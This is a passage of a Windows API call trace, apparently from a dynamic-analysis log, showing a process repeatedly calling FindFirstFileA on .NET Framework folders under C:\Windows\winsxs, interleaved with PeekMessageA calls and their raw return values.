lpFileName="C:\\Windows\\winsxs\\amd64_netfx-microsoft.build.tasks_b03f5f7f11d50a3a_6.1.7601.17514_none_fc74b51ae0ff9c55\\*.*", lpFindFileData=0x18fa48 | out: lpFindFileData=0x18fa48*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x9c92d12d, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0x9c92d12d, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0x9c92d12d, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5025d8 [0166.202] PeekMessageA (in: lpMsg=0x18fa24, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18fa24) returned 0 [0166.202] FindFirstFileA (in: lpFileName="C:\\Windows\\winsxs\\amd64_netfx-microsoft.build.utilities_b03f5f7f11d50a3a_6.1.7601.17514_none_1af3e9f26809c8b1\\*.*", lpFindFileData=0x18fa48 | out: lpFindFileData=0x18fa48*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8ddaaedb, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0x8ddaaedb, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0x8ddaaedb, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5025d8 [0166.203] PeekMessageA (in: lpMsg=0x18fa24, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18fa24) returned 0 [0166.203] FindFirstFileA (in: lpFileName="C:\\Windows\\winsxs\\amd64_netfx-microsoft.jscript_b03f5f7f11d50a3a_6.1.7600.16385_none_f371f988e550616a\\*.*", lpFindFileData=0x18fa48 | out: lpFindFileData=0x18fa48*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x114cc9ee, ftCreationTime.dwHighDateTime=0x1ca0432, ftLastAccessTime.dwLowDateTime=0x114f2b48, ftLastAccessTime.dwHighDateTime=0x1ca0432, ftLastWriteTime.dwLowDateTime=0x114f2b48, ftLastWriteTime.dwHighDateTime=0x1ca0432, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5025d8 [0166.204] PeekMessageA (in: lpMsg=0x18fa24, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18fa24) returned 0 [0166.204] FindFirstFileA (in: lpFileName="C:\\Windows\\winsxs\\amd64_netfx-microsoft.visualbasic_b03f5f7f11d50a3a_6.1.7601.17514_none_cfb7b554c5a31455\\*.*", lpFindFileData=0x18fa48 | out: lpFindFileData=0x18fa48*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x9c7d64ca, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0x9c7d64ca, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0x9c7d64ca, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5025d8 [0166.205] PeekMessageA (in: lpMsg=0x18fa24, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18fa24) returned 0 [0166.205] FindFirstFileA (in: lpFileName="C:\\Windows\\winsxs\\amd64_netfx-microsoft.visualc_b03f5f7f11d50a3a_6.1.7600.16385_none_a293929aeb9671d4\\*.*", lpFindFileData=0x18fa48 | out: lpFindFileData=0x18fa48*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x114f2b48, ftCreationTime.dwHighDateTime=0x1ca0432, ftLastAccessTime.dwLowDateTime=0x114f2b48, ftLastAccessTime.dwHighDateTime=0x1ca0432, ftLastWriteTime.dwLowDateTime=0x114f2b48, ftLastWriteTime.dwHighDateTime=0x1ca0432, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5025d8 [0166.206] PeekMessageA (in: lpMsg=0x18fa24, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18fa24) returned 0 [0166.206] FindFirstFileA (in: lpFileName="C:\\Windows\\winsxs\\amd64_netfx-microsoft.vsa_b03f5f7f11d50a3a_6.1.7600.16385_none_b5fa97e3aada9ab1\\*.*", lpFindFileData=0x18fa48 | out: lpFindFileData=0x18fa48*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x114f2b48, ftCreationTime.dwHighDateTime=0x1ca0432, ftLastAccessTime.dwLowDateTime=0x114f2b48, ftLastAccessTime.dwHighDateTime=0x1ca0432, ftLastWriteTime.dwLowDateTime=0x114f2b48, ftLastWriteTime.dwHighDateTime=0x1ca0432, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5025d8 [0166.207] PeekMessageA (in: lpMsg=0x18fa24, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18fa24) returned 0 [0166.207] FindFirstFileA (in: lpFileName="C:\\Windows\\winsxs\\amd64_netfx-microsoft_vsa_tlb_b03f5f7f11d50a3a_6.1.7600.16385_none_9eb295958df027f1\\*.*", lpFindFileData=0x18fa48 | out: lpFindFileData=0x18fa48*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x114f2b48, ftCreationTime.dwHighDateTime=0x1ca0432, ftLastAccessTime.dwLowDateTime=0x114f2b48, ftLastAccessTime.dwHighDateTime=0x1ca0432, ftLastWriteTime.dwLowDateTime=0x114f2b48, ftLastWriteTime.dwHighDateTime=0x1ca0432, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5025d8 [0166.208] PeekMessageA (in: lpMsg=0x18fa24, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18fa24) returned 0 [0166.208] FindFirstFileA (in: lpFileName="C:\\Windows\\winsxs\\amd64_netfx-msbuild_commontypes_schema_b03f5f7f11d50a3a_6.1.7600.16385_none_fd35538396749f00\\*.*", lpFindFileData=0x18fa48 | out: lpFindFileData=0x18fa48*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x114f2b48, ftCreationTime.dwHighDateTime=0x1ca0432, ftLastAccessTime.dwLowDateTime=0x114f2b48, ftLastAccessTime.dwHighDateTime=0x1ca0432, ftLastWriteTime.dwLowDateTime=0x114f2b48, ftLastWriteTime.dwHighDateTime=0x1ca0432, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5025d8 [0166.208] PeekMessageA (in: lpMsg=0x18fa24, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18fa24) returned 0 [0166.209] FindFirstFileA (in: lpFileName="C:\\Windows\\winsxs\\amd64_netfx-msbuild_core_schema__b03f5f7f11d50a3a_6.1.7600.16385_none_41170ef266aac7f4\\*.*", lpFindFileData=0x18fa48 | out: lpFindFileData=0x18fa48*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x114f2b48, ftCreationTime.dwHighDateTime=0x1ca0432, ftLastAccessTime.dwLowDateTime=0x114f2b48, ftLastAccessTime.dwHighDateTime=0x1ca0432, ftLastWriteTime.dwLowDateTime=0x114f2b48, ftLastWriteTime.dwHighDateTime=0x1ca0432, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5025d8 [0166.209] PeekMessageA (in: lpMsg=0x18fa24, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18fa24) returned 0 [0166.210] FindFirstFileA (in: lpFileName="C:\\Windows\\winsxs\\amd64_netfx-msbuild_data_files_b03f5f7f11d50a3a_6.1.7600.16385_none_09648aeeea40605a\\*.*", lpFindFileData=0x18fa48 | out: lpFindFileData=0x18fa48*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x114f2b48, ftCreationTime.dwHighDateTime=0x1ca0432, ftLastAccessTime.dwLowDateTime=0x11518ca2, ftLastAccessTime.dwHighDateTime=0x1ca0432, ftLastWriteTime.dwLowDateTime=0x11518ca2, ftLastWriteTime.dwHighDateTime=0x1ca0432, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5025d8 [0166.210] PeekMessageA (in: lpMsg=0x18fa24, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18fa24) returned 0 [0166.210] FindFirstFileA (in: lpFileName="C:\\Windows\\winsxs\\amd64_netfx-msbuild_rsp_b03f5f7f11d50a3a_6.1.7600.16385_none_1dc7324c631cf49b\\*.*", lpFindFileData=0x18fa48 | out: lpFindFileData=0x18fa48*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x11518ca2, ftCreationTime.dwHighDateTime=0x1ca0432, ftLastAccessTime.dwLowDateTime=0x11518ca2, ftLastAccessTime.dwHighDateTime=0x1ca0432, ftLastWriteTime.dwLowDateTime=0x11518ca2, ftLastWriteTime.dwHighDateTime=0x1ca0432, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5025d8 [0166.211] PeekMessageA (in: lpMsg=0x18fa24, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18fa24) returned 0 [0166.211] FindFirstFileA (in: lpFileName="C:\\Windows\\winsxs\\amd64_netfx-msbuild_schema_b03f5f7f11d50a3a_6.1.7600.16385_none_684caa7a626b31b1\\*.*", lpFindFileData=0x18fa48 | out: lpFindFileData=0x18fa48*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x11518ca2, ftCreationTime.dwHighDateTime=0x1ca0432, ftLastAccessTime.dwLowDateTime=0x11518ca2, ftLastAccessTime.dwHighDateTime=0x1ca0432, ftLastWriteTime.dwLowDateTime=0x11518ca2, ftLastWriteTime.dwHighDateTime=0x1ca0432, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5025d8 [0166.212] PeekMessageA (in: lpMsg=0x18fa24, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18fa24) returned 0 [0166.212] FindFirstFileA (in: lpFileName="C:\\Windows\\winsxs\\amd64_netfx-msbuild_targetfiles_b03f5f7f11d50a3a_6.1.7600.16385_none_1a0b96112526b20a\\*.*", lpFindFileData=0x18fa48 | out: lpFindFileData=0x18fa48*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x11518ca2, ftCreationTime.dwHighDateTime=0x1ca0432, ftLastAccessTime.dwLowDateTime=0x11518ca2, ftLastAccessTime.dwHighDateTime=0x1ca0432, ftLastWriteTime.dwLowDateTime=0x11518ca2, ftLastWriteTime.dwHighDateTime=0x1ca0432, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5025d8 [0166.214] PeekMessageA (in: lpMsg=0x18fa24, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18fa24) returned 0 [0166.215] PeekMessageA (in: lpMsg=0x18fa24, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18fa24) returned 0 [0166.215] PeekMessageA (in: lpMsg=0x18fa24, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18fa24) returned 0 [0166.216] FindFirstFileA (in: lpFileName="C:\\Windows\\winsxs\\amd64_netfx-mscordacwks_b03f5f7f11d50a3a_6.1.7601.17514_none_b7d09c4caf0b124a\\*.*", lpFindFileData=0x18fa48 | out: lpFindFileData=0x18fa48*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x94ebc4ab, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0x94ebc4ab, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0x94ebc4ab, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5025d8 [0166.217] PeekMessageA (in: lpMsg=0x18fa24, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18fa24) returned 0 [0166.221] FindFirstFileA (in: lpFileName="C:\\Windows\\winsxs\\amd64_netfx-mscordbc_dll_b03f5f7f11d50a3a_6.1.7600.16385_none_f9c9eb8d6d88670f\\*.*", lpFindFileData=0x18fa48 | out: lpFindFileData=0x18fa48*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x11518ca2, ftCreationTime.dwHighDateTime=0x1ca0432, ftLastAccessTime.dwLowDateTime=0x11518ca2, ftLastAccessTime.dwHighDateTime=0x1ca0432, ftLastWriteTime.dwLowDateTime=0x11518ca2, ftLastWriteTime.dwHighDateTime=0x1ca0432, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5025d8 [0166.221] PeekMessageA (in: lpMsg=0x18fa24, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18fa24) returned 0 [0166.222] FindFirstFileA (in: lpFileName="C:\\Windows\\winsxs\\amd64_netfx-mscordbi_dll_b03f5f7f11d50a3a_6.1.7601.17514_none_fcd566500495183b\\*.*", lpFindFileData=0x18fa48 | out: lpFindFileData=0x18fa48*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x83fd1ad8, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0x83fd1ad8, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0x83fd1ad8, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5025d8 [0166.223] PeekMessageA (in: lpMsg=0x18fa24, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18fa24) returned 0 [0166.223] FindFirstFileA (in: lpFileName="C:\\Windows\\winsxs\\amd64_netfx-mscorees_dll_31bf3856ad364e35_6.2.7600.16513_none_3dc6fbd94372d382\\*.*", lpFindFileData=0x18fa48 | out: lpFindFileData=0x18fa48*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x82a20860, ftCreationTime.dwHighDateTime=0x1d2e621, ftLastAccessTime.dwLowDateTime=0x82a469c0, ftLastAccessTime.dwHighDateTime=0x1d2e621, ftLastWriteTime.dwLowDateTime=0x82a469c0, ftLastWriteTime.dwHighDateTime=0x1d2e621, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5025d8 [0166.224] PeekMessageA (in: lpMsg=0x18fa24, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18fa24) returned 0 [0166.224] FindFirstFileA (in: lpFileName="C:\\Windows\\winsxs\\amd64_netfx-mscorees_dll_31bf3856ad364e35_6.2.7601.17514_none_3fae5cf540985313\\*.*", lpFindFileData=0x18fa48 | out: lpFindFileData=0x18fa48*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8d2364e6, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0x8d2364e6, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0x8d2364e6, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5025d8 [0166.224] PeekMessageA (in: lpMsg=0x18fa24, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18fa24) returned 0 [0166.225] FindFirstFileA (in: lpFileName="C:\\Windows\\winsxs\\amd64_netfx-mscoree_dll_31bf3856ad364e35_6.2.7600.16513_none_d9cd6dbd0e6f0bd5\\*.*", lpFindFileData=0x18fa48 | out: lpFindFileData=0x18fa48*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x82a20860, ftCreationTime.dwHighDateTime=0x1d2e621, ftLastAccessTime.dwLowDateTime=0x82a20860, ftLastAccessTime.dwHighDateTime=0x1d2e621, ftLastWriteTime.dwLowDateTime=0x82a20860, ftLastWriteTime.dwHighDateTime=0x1d2e621, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5025d8 [0166.225] PeekMessageA (in: lpMsg=0x18fa24, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18fa24) returned 0 [0166.226] FindFirstFileA (in: lpFileName="C:\\Windows\\winsxs\\amd64_netfx-mscoree_dll_31bf3856ad364e35_6.2.7601.17514_none_dbb4ced90b948b66\\*.*", lpFindFileData=0x18fa48 | out: lpFindFileData=0x18fa48*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x84043ef9, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0x84043ef9, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0x84043ef9, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5025d8 [0166.226] PeekMessageA (in: lpMsg=0x18fa24, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18fa24) returned 0 [0166.226] FindFirstFileA (in: lpFileName="C:\\Windows\\winsxs\\amd64_netfx-mscoree_tlb_b03f5f7f11d50a3a_6.1.7600.16385_none_70416df523130950\\*.*", lpFindFileData=0x18fa48 | out: lpFindFileData=0x18fa48*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1153edfc, ftCreationTime.dwHighDateTime=0x1ca0432, ftLastAccessTime.dwLowDateTime=0x1153edfc, ftLastAccessTime.dwHighDateTime=0x1ca0432, ftLastWriteTime.dwLowDateTime=0x1153edfc, ftLastWriteTime.dwHighDateTime=0x1ca0432, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5025d8 [0166.227] PeekMessageA (in: lpMsg=0x18fa24, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18fa24) returned 0 [0166.227] FindFirstFileA (in: lpFileName="C:\\Windows\\winsxs\\amd64_netfx-mscorier_dll_non_mui_31bf3856ad364e35_6.1.7601.17514_none_dab81100f1aecbf3\\*.*", lpFindFileData=0x18fa48 | out: lpFindFileData=0x18fa48*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa200f4cd, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0xa200f4cd, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0xa200f4cd, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5025d8 [0166.228] PeekMessageA (in: lpMsg=0x18fa24, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18fa24) returned 0 [0166.228] FindFirstFileA (in: lpFileName="C:\\Windows\\winsxs\\amd64_netfx-mscories_dll_31bf3856ad364e35_6.1.7600.16385_none_1a180f090b7bb0d4\\*.*", lpFindFileData=0x18fa48 | out: lpFindFileData=0x18fa48*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1153edfc, ftCreationTime.dwHighDateTime=0x1ca0432, ftLastAccessTime.dwLowDateTime=0x1153edfc, ftLastAccessTime.dwHighDateTime=0x1ca0432, ftLastWriteTime.dwLowDateTime=0x1153edfc, ftLastWriteTime.dwHighDateTime=0x1ca0432, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5025d8 [0166.229] PeekMessageA (in: lpMsg=0x18fa24, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18fa24) returned 0 [0166.229] FindFirstFileA (in: lpFileName="C:\\Windows\\winsxs\\amd64_netfx-mscorie_dll_b03f5f7f11d50a3a_6.1.7601.17514_none_7745a7291852ffc4\\*.*", lpFindFileData=0x18fa48 | out: lpFindFileData=0x18fa48*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x890c076d, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0x890c076d, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0x890c076d, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5025d8 [0166.229] PeekMessageA (in: lpMsg=0x18fa24, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18fa24) returned 0 [0166.230] FindFirstFileA (in: lpFileName="C:\\Windows\\winsxs\\amd64_netfx-mscorjit_dll_b03f5f7f11d50a3a_6.1.7601.17514_none_4c0bcee0d9569e7d\\*.*", lpFindFileData=0x18fa48 | out: lpFindFileData=0x18fa48*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x9c8bad0c, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0x9c8bad0c, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0x9c8bad0c, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5025d8 [0166.230] PeekMessageA (in: lpMsg=0x18fa24, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18fa24) returned 0 [0166.231] FindFirstFileA (in: lpFileName="C:\\Windows\\winsxs\\amd64_netfx-mscorld_dll_b03f5f7f11d50a3a_6.1.7601.17514_none_4f8e3902f1d60540\\*.*", lpFindFileData=0x18fa48 | out: lpFindFileData=0x18fa48*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa200f4cd, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0xa200f4cd, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0xa200f4cd, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5025d8 [0166.231] PeekMessageA (in: lpMsg=0x18fa24, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18fa24) returned 0 [0166.231] FindFirstFileA (in: lpFileName="C:\\Windows\\winsxs\\amd64_netfx-mscorlib_tlb2_b03f5f7f11d50a3a_6.1.7600.16385_none_8b2be1d321c48c47\\*.*", lpFindFileData=0x18fa48 | out: lpFindFileData=0x18fa48*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x11564f56, ftCreationTime.dwHighDateTime=0x1ca0432, ftLastAccessTime.dwLowDateTime=0x11564f56, ftLastAccessTime.dwHighDateTime=0x1ca0432, ftLastWriteTime.dwLowDateTime=0x11564f56, ftLastWriteTime.dwHighDateTime=0x1ca0432, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5025d8 [0166.232] PeekMessageA (in: lpMsg=0x18fa24, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18fa24) returned 0 [0166.232] FindFirstFileA (in: lpFileName="C:\\Windows\\winsxs\\amd64_netfx-mscorpe_dll_b03f5f7f11d50a3a_6.1.7601.17514_none_8492ec5f045f17f3\\*.*", lpFindFileData=0x18fa48 | out: lpFindFileData=0x18fa48*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x83fd1ad8, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0x83fd1ad8, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0x83fd1ad8, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5025d8 [0166.233] PeekMessageA (in: lpMsg=0x18fa24, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18fa24) returned 0 [0166.233] FindFirstFileA (in: lpFileName="C:\\Windows\\winsxs\\amd64_netfx-mscorpjt_dll_31bf3856ad364e35_6.1.7600.16385_none_d77af9a299d44999\\*.*", lpFindFileData=0x18fa48 | out: lpFindFileData=0x18fa48*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x11564f56, ftCreationTime.dwHighDateTime=0x1ca0432, ftLastAccessTime.dwLowDateTime=0x11564f56, ftLastAccessTime.dwHighDateTime=0x1ca0432, ftLastWriteTime.dwLowDateTime=0x11564f56, ftLastWriteTime.dwHighDateTime=0x1ca0432, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5025d8 [0166.234] PeekMessageA (in: lpMsg=0x18fa24, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18fa24) returned 0 [0166.234] FindFirstFileA (in: lpFileName="C:\\Windows\\winsxs\\amd64_netfx-mscorrc_res_dll_b03f5f7f11d50a3a_6.1.7600.16385_none_7d01426b4419737e\\*.*", lpFindFileData=0x18fa48 | out: lpFindFileData=0x18fa48*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x11564f56, ftCreationTime.dwHighDateTime=0x1ca0432, ftLastAccessTime.dwLowDateTime=0x11564f56, ftLastAccessTime.dwHighDateTime=0x1ca0432, ftLastWriteTime.dwLowDateTime=0x11564f56, ftLastWriteTime.dwHighDateTime=0x1ca0432, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5025d8 [0166.234] PeekMessageA (in: lpMsg=0x18fa24, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18fa24) returned 0 [0166.240] FindFirstFileA (in: lpFileName="C:\\Windows\\winsxs\\amd64_netfx-mscorsecr_dll_b03f5f7f11d50a3a_6.1.7600.16385_none_326f915d96565d95\\*.*", lpFindFileData=0x18fa48 | out: lpFindFileData=0x18fa48*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x11564f56, ftCreationTime.dwHighDateTime=0x1ca0432, ftLastAccessTime.dwLowDateTime=0x11564f56, ftLastAccessTime.dwHighDateTime=0x1ca0432, ftLastWriteTime.dwLowDateTime=0x11564f56, ftLastWriteTime.dwHighDateTime=0x1ca0432, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5025d8 [0166.240] PeekMessageA (in: 